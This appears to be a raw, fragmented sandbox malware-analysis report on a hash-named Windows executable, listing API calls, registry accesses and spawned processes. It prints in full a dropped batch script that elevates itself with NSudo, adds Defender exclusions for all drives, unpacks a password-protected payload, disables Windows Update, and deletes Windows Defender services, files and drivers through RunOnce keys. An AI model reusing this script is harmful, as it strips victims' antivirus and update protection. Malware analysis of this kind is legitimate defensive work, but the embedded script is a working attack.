1c0100000a00000000000000ab3f0000020000000000ad00e006ad001b800800cc56dd0058010000000000000000000000000000c006ad001b8008004807ad0058060000e80dad00180000004c3647bc58010000000000009f57dd72580100005801000000000000000000000000ad00000000000000000018000000e80dad004807ad001b800800d43647bc5805ad009f57dd727006ad00a018df7264c60acefeffffff8006ad00222a9d73580100000000000000000000000000005806ad001b800800e006ad0058060000800dad00642a9d7308f19964f30b0000faffffff980dad000000000018000000000000004c3647bc0000000000000000ffffffff000000000000000000000000aeb6ee07c6b6ee07 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ad00e006ad001b800800cc56dd0058010000000000000000000000000000c006ad001b8008004807ad0058060000e80dad00180000004c3647bc58010000000000009f57dd72580100005801000000000000000000000000ad00000000000000000018000000e80dad004807ad001b800800d43647bc5805ad009f57dd727006ad00a018df7264c60acefeffffff8006ad00222a9d73580100000000000000000000000000005806ad001b800800e006ad0058060000800dad00642a9d7308f19964f30b0000faffffff980dad000000000018000000000000004c3647bc0000000000000000ffffffff0000000000000000000000007624ee078c24ee07 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ad00e006ad001b800800cc56dd0058010000000000000000000000000000c006ad001b8008004807ad0058060000e80dad00180000004c3647bc58010000000000009f57dd72580100005801000000000000000000000000ad00000000000000000018000000e80dad004807ad001b800800d43647bc5805ad009f57dd727006ad00a018df7264c60acefeffffff8006ad00222a9d73580100000000000000000000000000005806ad001b800800e006ad0058060000800dad00642a9d7308f19964f30b0000faffffff980dad000000000018000000000000004c3647bc0000000000000000ffffffff000000000000000000000000a6baee07bebaee07 (UID: 00000000-00008068)31:T60e,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000038097e0000000000d8dfaf00591637770100000008000000010000000000d8000000000010000000000000000000000002000000020000000000d800010000000800000000000000f8dfaf00ee13377701000000ee133777080000000000000008000000cc30eabc30e2af00ad9cc8720000d8000800000001000000 (UID: 00000000-00008068) "nircmd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006460) "nircmd.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001112) "mika.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007276)32:T4e0,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "nircmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "NSudoLG.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")33:T57b,Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp")34:T742,Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "1125746507,1100,110,,EnumWindows,user32.dll,"00:48:13.812",RX=0,PX=0" (Indicator: "EnumWindows"; Source: "00000000-00001112.00000000.185480.02670000.00000004.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "EnumWindowStationsW" (Indicator: "EnumWindowStations"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "EnumDesktopsW" (Indicator: "EnumDesktops"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp")35:T4b7,Found string "nslookup: WSAStartup:%0" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup.exe" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup.exe.mui" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp")36:T56d,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00003424.00000000.189082.E8720000.00000004.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004420.00000000.186514.C3710000.00000004.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006436.00000000.187460.EF420000.00000004.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00007184.00000000.186138.3E690000.00000004.mdmp")37:Td1e,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "CreateProcessW" with parameter ""%TEMP%\XsTOKMXJ6.bat"" - (UID: 00000000-00008068) "cmd.exe" called "CreateProcessW" with parameter "nircmd win min process "cmd.exe"" - (UID: 00000000-00000340) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00000340) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKU\S-1-5-19"" - (UID: 00000000-00000340) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" - (UID: 00000000-00000340) "cmd.exe" called "CreateProcessW" with parameter "NSudoLG -U:T -P:E -UseCurrentConsole "%TEMP%\XsTOKMXJ6.bat" any_word" - (UID: 00000000-00000340) "cmd.exe" called "CreateProcessW" with parameter "nircmd win min process "cmd.exe"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "chcp 65001" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKU\S-1-5-19"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "Mode 79,49" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c ver" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "find /i "0x0"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c tasklist" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WinDefend"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\Sense"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\wscsvc"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"" - (UID: 00000000-00006664) "cmd.exe" called "CreateProcessW" with parameter "reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"" - (UID: 00000000-00006664)38:T4a46,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008068) "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" called "LoadLibrary" with a parameter nulColor 0fset "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0saked"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || nircmd elevate "%~f0" any_word && exitif defined WT_SESSION (reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1if /i "%USERNAME%" neq "%COMPUTERNAME%$" NSudoLG -U:T -P:E -UseCurrentConsole %0 any_word && exitset "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerreg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && ( reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || ( NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]^::GetDrives^(^) ^| ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }^; Start-Sleep -Milliseconds 1000" >nul 2>&1 )set "a=7"set "b=z" set "c=x"set "d=-aoa"set "e=-bso0"set "f=-bsp1"set "g=same.zip"set "h=stucha"set "i=mika.exe"%a%%b% %c% %d% %e% %f% "%g%" -p"%h%" "%i%" >nul%i% /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f >nul 2>&1reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEMreg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /freg unload HKLM\TEMP_SYSTEMmika /delwd mika /DelWD:FinishDeletedel /q mika.exe >nul 2>&1reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f >nul 2>&1 :CreateRunOnceDelRegset "RegKey=HKLM\System\CurrentControlSet\Services"for %%p in (RegClean RegClean1) do reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "%%p" /t reg_sz /f /d "\"%~dp0saked\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak ^& reg delete %RegKey%\WdFilter /f ^& reg delete %RegKey%\WinDefend /f ^& reg delete %RegKey%\WdNisDrv /f ^& reg delete %RegKey%\MDCoreSvc /f ^& reg delete %RegKey%\WdNisSvc /f ^& reg delete %RegKey%\WdBoot /f\"" >nulexit /b:AppRepSysset "NameAppRep="for /f "usebackq delims=" %%n In (2^>nul reg query "HKU\%SID%\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" /f "*Apprep.ChxApp*" /k^|findstr ^H) do set NameAppRep=%%~nxnreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\S-1-5-18\%NameAppRep%" /f >nulreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\%SID%\%NameAppRep%" /f >nulNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -AllUsers *Apprep.ChxApp* | Remove-AppxPackage"NSudoLG -U:S -P:E -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -All *Apprep.ChxApp* | Remove-AppxPackage -User 'S-1-5-18' -ErrorAction SilentlyContinue"for /f "usebackq delims=" %%n In (2^>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" /f "*Apprep.ChxApp*" /k^|findstr ^H) do reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\%%~nxn" /f >nul 2>&1for /f "usebackq delims=" %%d In (2^>nul Dir "%ProgramData%\Microsoft\Windows\AppRepository\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"for /f "usebackq delims=" %%d In (2^>nul Dir "%LocalAppData%\Packages\*Apprep.ChxApp*" /S /B /A:D) do rd /s /q "%%d"mika /unlock "%AllUsersProfile%\Microsoft\Windows Defender" "%SystemDrive%\Program Files\Windows Defender" "%SystemDrive%\Program Files (x86)\Windows Defender"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection""Windows Security Health"for %%d in ("Windows Defender""Windows Defender Sleep""Windows Defender Advanced Threat Protection""Windows Security""PCHealthCheck"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection"for %%f in (SecurityHealthService.exe SecurityHealthSystray.exeSecurityHealthHost.exe SecurityHealthAgent.dllSecurityHealthSSO.dll SecurityHealthProxyStub.dllsmartscreen.dll wscisvif.dll wscproxystub.dllsmartscreenps.dll wscapi.dll windowsdefenderapplicationguardcsp.dllwscsvc.dll SecurityHealthCore.dll SecurityHealthSsoUdk.dllSecurityHealthUdk.dll smartscreen.exe) do () >nul 2>&1) >nul 2>&1set "Counter=1"set "Counter64=1"for %%i in (08728914-3F57-4D52-9E31-49DAECA5A80A 10964DDD-6A53-4C60-917F-7B5723014344 17072F7B-9ABE-4A74-A261-1EB76B55107A195B4D07-3DE2-4744-BBF2-D90121AE785B 2781761E-28E0-4109-99FE-B9D127C57AFE 2981a36e-f22d-11e5-9ce9-5e5517507c662DCD7FDB-8809-48E4-8E4F-3157C57CF987 2EF44DE8-80C9-42D9-8541-F40EF0862FA3 3213CD15-4DF2-415F-83F2-9FC58F3AEB3A3522D7AF-4617-4237-AAD8-5860231FC9BA 361290c0-cb1b-49ae-9f3e-ba1cbe5dab35 36383E77-35C2-4B45-8277-329E4BEDF47F3886CA90-AB09-49D1-A047-7A62D096D2753CD3CA1E-2232-4BBF-A733-18B700409DA0 45F2C32F-ED16-4C94-8493-D72EF93A051B4DB116D1-9B24-4DFC-946B-BFE03E852002 5ffab5c8-9a36-4b65-9fc6-fb69f451f99c 6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF6D40A6F9-3D32-4FCB-8A86-BE992E03DC76 7E66DBEF-2474-4E82-919B-9A855F4C2FE8 82345212-6ACA-4B38-8CD7-BF9DE8ED07BD849F5497-5C61-4023-8E10-A28F1A8C6A70 88866959-07B0-4ED8-8EF5-54BC7443D28C 8a696d12-576b-422e-9712-01b9dd84b4468C38232E-3A45-4A27-92B0-1A16A975F669 8E67B5C5-BAD3-4263-9F80-F769D50884F7 A2D75874-6750-4931-94C1-C99D3BC9D0C7a463fcb9-6b1c-4e0d-a80b-a2ca7999e25d A7C452EF-8E9F-42EB-9F2B-245613CA0DC9 C8DFF91D-B243-4797-BAE6-C461B65EDED3D5F7E36B-5B38-445D-A50F-439B8FCBB87A DACA056E-216A-4FD1-84A6-C306A017ECEC DBF393FC-230C-46CC-8A85-E9C599A81EFBE041C90B-68BA-42C9-991E-477B73A75C90 E476E4C0-409C-43CD-BBC0-5905B4138494 F2102C37-90C3-450C-B3F6-92BE1693BDF2F80FC80C-6A04-46FB-8555-D769E334E9FC FEEE9C23-C4E2-4A34-8C73-FE8F9786C8B4 D8559EB9-20C0-410E-BEDA-7ED416AECC2A) do (set /a Counter+=1set /a Counter64+=1exit /b:RestoreDefenderif not exist "%SystemRoot%\System32\config\systemprofile\Desktop" md "%SystemRoot%\System32\config\systemprofile\Desktop"set "BackupFolder="if not defined BackupFolder goto ManageDefenderpushd "%BackupFolder%"copy /y "Files\System32" "%SystemRoot%\System32"copy /y "Files\SysWOW64" "%SystemRoot%\SysWOW64"copy /y "Files\Windows\Containers\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\"copy /y "Files\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\serviced"xcopy "Folder\Program Files\*" "%ProgramFiles%\" /E /H /K /Yxcopy "Folder\Program Files (x86)\*" "%ProgramFiles(x86)%\" /E /H /K /Yxcopy "Folder\ProgramData\*" "%ProgramData%\" /E /H /K /Yxcopy "Folder\System32\*" "%SystemRoot%\System32" /E /H /K /Yxcopy "Folder\SysWow64\*" "%SystemRoot%\SysWow64" /E /H /K /Yxcopy "Folder\Windows\*" "%SystemRoot%\" /E /H /K /Yxcopy "Folder\WinSxS\*" "%SystemRoot%\WinSxS\" /E /H /K /Yfor %%f in ("RegEdit\*.reg") do reg import "%%f"for %%f in ("ServicesDrivers\*.reg") do reg import "%%f"reg delete "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /freg delete "HKLM\Software\Policies\Microsoft\MRT" /freg delete "HKLM\Software\DefenderKiller" /freg delete "HKLM\Software\DK" /f) >nul 2>&1popdNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /fNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /fcall :AddExclusionRestore:CheckUpdate)) else ( exit" (Indicator: ""xcopy ") in Source: XsTOKMXJ6.bat50:T118a,Found reference to API "WS-Management could not connect to the specified destination: (%1:%2!d!)." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM service cannot process the request because the WinRS shell instance is already processing a connect operation." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The client cannot connect to the destination specified in the request." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The WinRM client cannot process the request. The body response is not a valid connect request response." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") file/memory contains long string with (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") file/memory contains long string with (Indicator: " shutdown "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "nslookup: WSAStartup:%0" (Indicator: "wsastartup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "You have to connect to this printer before you can print on it. Do you want to connect to this printer and then print the selected document?" (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "Unable to connect Access denied, unable to connect.Printer not found on server, unable to connect" (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The printer is offline. mWindows could not connect to your printer. Please check the connection between the computer and the printer. bThe printer is not responding. Please check the connection between your computer and the printer." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "The activation server reported that the computer could not connect to the activation server." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "G /S system Specifies the remote system to connect to." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "7Parameter %1 must not contain embedded null characters.!Find an app in the Windows Store.oYou need to install an app first. Install a people or contacts app so you can connect with the people you know." (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "You can only send from apps." (Indicator: " send "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found reference to API "send to a device right now.$To print content, connect a printer."To play content connect a device.HThe selected content is protected and can" (Indicator: " connect "; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp"), Found reference to API "To project connect a display." (Indicator: " connect "; 